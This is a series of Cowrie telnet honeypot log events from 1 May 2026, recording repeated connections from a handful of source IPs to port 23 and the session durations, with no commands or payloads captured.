{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":58348,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f6e1e7dcae4","protocol":"telnet","message":"New connection: 104.167.8.156:58348 (10.17.0.5:23) [session: 3f6e1e7dcae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.473013Z"}
{"eventid":"cowrie.session.closed","duration":31.533494472503662,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.592186Z","src_ip":"104.167.8.156","session":"0471f45d7abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.848348140716553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.613685Z","src_ip":"98.70.41.28","session":"7058849eace6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":60210,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdbb974672cb","protocol":"telnet","message":"New connection: 104.167.8.156:60210 (10.17.0.5:23) [session: bdbb974672cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:25.957515Z"}
{"eventid":"cowrie.session.closed","duration":30.547014951705933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.047640Z","src_ip":"104.167.8.156","session":"69f6f2a46833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.52904725074768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.339610Z","src_ip":"104.167.8.156","session":"3fd0d18065bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.332906007766724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.361356Z","src_ip":"104.167.8.156","session":"60655bb559f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.654566287994385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.540442Z","src_ip":"64.227.9.242","session":"493b55f4777d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40188,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fb7c11c38cb","protocol":"telnet","message":"New connection: 188.208.141.113:40188 (10.17.0.5:23) [session: 1fb7c11c38cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.648832Z"}
{"eventid":"cowrie.session.closed","duration":120.00145387649536,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.712370Z","src_ip":"98.70.41.28","session":"4e1c80d035a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"a7dd1cdc71d4","protocol":"telnet","message":"New connection: 104.167.8.156:39444 (10.17.0.5:23) [session: a7dd1cdc71d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:26.834025Z"}
{"eventid":"cowrie.session.closed","duration":30.50610852241516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.134323Z","src_ip":"104.167.8.156","session":"616654e36c86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.11118769645691,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.250810Z","src_ip":"188.208.141.113","session":"27f6e3d5fc04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57990,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff111a716b95","protocol":"telnet","message":"New connection: 104.167.8.156:57990 (10.17.0.5:23) [session: ff111a716b95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.396806Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":42796,"dst_ip":"10.17.0.5","dst_port":23,"session":"6159ee886915","protocol":"telnet","message":"New connection: 104.167.8.156:42796 (10.17.0.5:23) [session: 6159ee886915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.623781Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39678,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6366f4c59a","protocol":"telnet","message":"New connection: 104.167.8.156:39678 (10.17.0.5:23) [session: 2c6366f4c59a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.894656Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":43862,"dst_ip":"10.17.0.5","dst_port":23,"session":"029fffafcb6e","protocol":"telnet","message":"New connection: 104.167.8.156:43862 (10.17.0.5:23) [session: 029fffafcb6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:27.927202Z"}
{"eventid":"cowrie.session.closed","duration":31.290342092514038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:28.694706Z","src_ip":"98.70.41.28","session":"af9f36a00ce5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685123205184937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:29.437485Z","src_ip":"104.167.8.156","session":"a879f641d39f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48832,"dst_ip":"159.203.135.109","dst_port":23,"session":"da82ea6b5cca","protocol":"telnet","message":"New connection: 98.70.41.28:48832 (159.203.135.109:23) [session: da82ea6b5cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:29.526712Z"}
{"eventid":"cowrie.session.closed","duration":31.648985624313354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:29.596535Z","src_ip":"64.227.9.242","session":"c20d332f8035","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.270045280456543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:29.623583Z","src_ip":"98.70.41.28","session":"bd3d5a2ba78f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":47418,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d8c5153369","protocol":"telnet","message":"New connection: 104.167.8.156:47418 (10.17.0.5:23) [session: 30d8c5153369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:29.915426Z"}
{"eventid":"cowrie.session.closed","duration":30.58146381378174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:30.235767Z","src_ip":"98.70.41.28","session":"acd172c8cc87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48836,"dst_ip":"159.203.135.109","dst_port":23,"session":"c38959f943cc","protocol":"telnet","message":"New connection: 98.70.41.28:48836 (159.203.135.109:23) [session: c38959f943cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:30.361065Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":53194,"dst_ip":"10.17.0.5","dst_port":23,"session":"730e8ed7dfec","protocol":"telnet","message":"New connection: 104.167.8.156:53194 (10.17.0.5:23) [session: 730e8ed7dfec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:30.425897Z"}
{"eventid":"cowrie.session.closed","duration":31.118372201919556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:30.791660Z","src_ip":"104.167.8.156","session":"74ad64fc3236","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":48838,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f4ca0715958","protocol":"telnet","message":"New connection: 98.70.41.28:48838 (159.203.135.109:23) [session: 3f4ca0715958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.006235Z"}
{"eventid":"cowrie.session.closed","duration":30.9527325630188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.025738Z","src_ip":"104.167.8.156","session":"189d22ef76c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.702044248580933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.049552Z","src_ip":"104.167.8.156","session":"9555876935d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97830605506897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.103444Z","src_ip":"104.167.8.156","session":"02aed2fbac70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52412,"dst_ip":"10.17.0.5","dst_port":23,"session":"e027c4e059a2","protocol":"telnet","message":"New connection: 104.167.8.156:52412 (10.17.0.5:23) [session: e027c4e059a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.232688Z"}
{"eventid":"cowrie.session.closed","duration":31.02590274810791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.293427Z","src_ip":"104.167.8.156","session":"23cae6a9bac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.99303603172302,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.775610Z","src_ip":"188.208.141.113","session":"f9f57b9b054d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.254310846328735,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:31.916613Z","src_ip":"104.167.8.156","session":"225385d18b58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59798,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4002c4a02eb","protocol":"telnet","message":"New connection: 104.167.8.156:59798 (10.17.0.5:23) [session: c4002c4a02eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:32.288092Z"}
{"eventid":"cowrie.session.closed","duration":30.699089527130127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:32.490044Z","src_ip":"104.167.8.156","session":"22799f727503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782703638076782,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:32.709588Z","src_ip":"104.167.8.156","session":"ecac076e13fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9a3f259b335","protocol":"telnet","message":"New connection: 104.167.8.156:51324 (10.17.0.5:23) [session: c9a3f259b335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:32.936436Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33936,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbb72d717ea7","protocol":"telnet","message":"New connection: 104.167.8.156:33936 (10.17.0.5:23) [session: dbb72d717ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.098224Z"}
{"eventid":"cowrie.session.closed","duration":30.697067975997925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.183515Z","src_ip":"104.167.8.156","session":"ba988c84a25b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.338298320770264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.371083Z","src_ip":"104.167.8.156","session":"ad6563e46f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235546112060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.376374Z","src_ip":"104.167.8.156","session":"e5b5e1a8be22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35222,"dst_ip":"10.17.0.5","dst_port":23,"session":"e862767c1a8d","protocol":"telnet","message":"New connection: 104.167.8.156:35222 (10.17.0.5:23) [session: e862767c1a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.466021Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35472,"dst_ip":"10.17.0.5","dst_port":23,"session":"92cae8a33e59","protocol":"telnet","message":"New connection: 104.167.8.156:35472 (10.17.0.5:23) [session: 92cae8a33e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.562049Z"}
{"eventid":"cowrie.session.closed","duration":31.195871353149414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.901952Z","src_ip":"104.167.8.156","session":"2df49d662233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36624,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0fe4f3c147","protocol":"telnet","message":"New connection: 104.167.8.156:36624 (10.17.0.5:23) [session: 9f0fe4f3c147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:33.918348Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":33676,"dst_ip":"10.17.0.5","dst_port":23,"session":"6763a5e25af7","protocol":"telnet","message":"New connection: 104.167.8.156:33676 (10.17.0.5:23) [session: 6763a5e25af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.002798Z"}
{"eventid":"cowrie.session.closed","duration":30.709218740463257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.053951Z","src_ip":"104.167.8.156","session":"31f51af49297","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1031813621521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.203707Z","src_ip":"104.167.8.156","session":"4020eb00abae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.295107126235962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.208858Z","src_ip":"104.167.8.156","session":"cf7ba7204b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.980273962020874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.218901Z","src_ip":"104.167.8.156","session":"5a90c2c71808","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723427772521973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.406973Z","src_ip":"104.167.8.156","session":"f7de270b257f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":49162,"dst_ip":"159.203.135.109","dst_port":23,"session":"56c610ec4a2e","protocol":"telnet","message":"New connection: 64.227.9.242:49162 (159.203.135.109:23) [session: 56c610ec4a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.532115Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37806,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda90b9bc360","protocol":"telnet","message":"New connection: 188.208.141.113:37806 (10.17.0.5:23) [session: eda90b9bc360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.638450Z"}
{"eventid":"cowrie.session.closed","duration":31.72246241569519,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:34.782972Z","src_ip":"104.167.8.156","session":"2e3937fb61d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":40428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6b565691d7a","protocol":"telnet","message":"New connection: 104.167.8.156:40428 (10.17.0.5:23) [session: a6b565691d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.088824Z"}
{"eventid":"cowrie.session.closed","duration":120.0008327960968,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.412134Z","src_ip":"98.70.41.28","session":"d5aceb81cb39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffd61b1fcf57","protocol":"telnet","message":"New connection: 104.167.8.156:38570 (10.17.0.5:23) [session: ffd61b1fcf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.514751Z"}
{"eventid":"cowrie.session.closed","duration":49.870442390441895,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.677711Z","src_ip":"188.208.141.113","session":"851bc976fb7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250499963760376,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.723077Z","src_ip":"104.167.8.156","session":"60da3ab6ce7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.085875511169434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:35.926044Z","src_ip":"104.167.8.156","session":"367c0853b384","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.214444398880005,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.096958Z","src_ip":"104.167.8.156","session":"334d1c37d766","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459002017974854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.144967Z","src_ip":"104.167.8.156","session":"fd2462732e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.451938152313232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.556030Z","src_ip":"104.167.8.156","session":"a32167e5e277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.78809952735901,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.578253Z","src_ip":"188.208.141.113","session":"c48c11cec601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":35568,"dst_ip":"10.17.0.5","dst_port":23,"session":"53ef8c0fec2e","protocol":"telnet","message":"New connection: 104.167.8.156:35568 (10.17.0.5:23) [session: 53ef8c0fec2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.596642Z"}
{"eventid":"cowrie.session.closed","duration":35.94989204406738,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:36.604491Z","src_ip":"188.208.141.113","session":"b17c20893843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"0096da087799","protocol":"telnet","message":"New connection: 104.167.8.156:44252 (10.17.0.5:23) [session: 0096da087799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.136605Z"}
{"eventid":"cowrie.session.closed","duration":30.36611795425415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.319559Z","src_ip":"104.167.8.156","session":"39e219f34bdd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37816,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdb35ccd071f","protocol":"telnet","message":"New connection: 188.208.141.113:37816 (10.17.0.5:23) [session: bdb35ccd071f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.456125Z"}
{"eventid":"cowrie.session.closed","duration":31.246983766555786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.608002Z","src_ip":"104.167.8.156","session":"19064f14f15c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.530193567276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.677745Z","src_ip":"104.167.8.156","session":"9f66aa4fef53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50882,"dst_ip":"10.17.0.5","dst_port":23,"session":"8216d610d12a","protocol":"telnet","message":"New connection: 104.167.8.156:50882 (10.17.0.5:23) [session: 8216d610d12a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:37.939923Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":48054,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c57399eb06b","protocol":"telnet","message":"New connection: 104.167.8.156:48054 (10.17.0.5:23) [session: 6c57399eb06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.160589Z"}
{"eventid":"cowrie.session.closed","duration":30.581491947174072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.171998Z","src_ip":"98.70.41.28","session":"70052dc87e32","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":51784,"dst_ip":"10.17.0.5","dst_port":23,"session":"eae9d5ed3b7c","protocol":"telnet","message":"New connection: 104.167.8.156:51784 (10.17.0.5:23) [session: eae9d5ed3b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.199982Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":52316,"dst_ip":"10.17.0.5","dst_port":23,"session":"7456c106287b","protocol":"telnet","message":"New connection: 104.167.8.156:52316 (10.17.0.5:23) [session: 7456c106287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.331651Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":47928,"dst_ip":"159.203.135.109","dst_port":23,"session":"1eee1b514f8c","protocol":"telnet","message":"New connection: 98.70.41.28:47928 (159.203.135.109:23) [session: 1eee1b514f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.693329Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":54066,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ced7991a60c","protocol":"telnet","message":"New connection: 64.227.9.242:54066 (159.203.135.109:23) [session: 2ced7991a60c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.777929Z"}
{"eventid":"cowrie.session.closed","duration":31.637202978134155,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.893539Z","src_ip":"104.167.8.156","session":"1f66ae9a6290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54448,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f424026150a","protocol":"telnet","message":"New connection: 104.167.8.156:54448 (10.17.0.5:23) [session: 3f424026150a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.957600Z"}
{"eventid":"cowrie.session.closed","duration":4.333348989486694,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:42:38.971689Z","src_ip":"188.208.141.113","session":"eda90b9bc360","protocol":"telnet"}
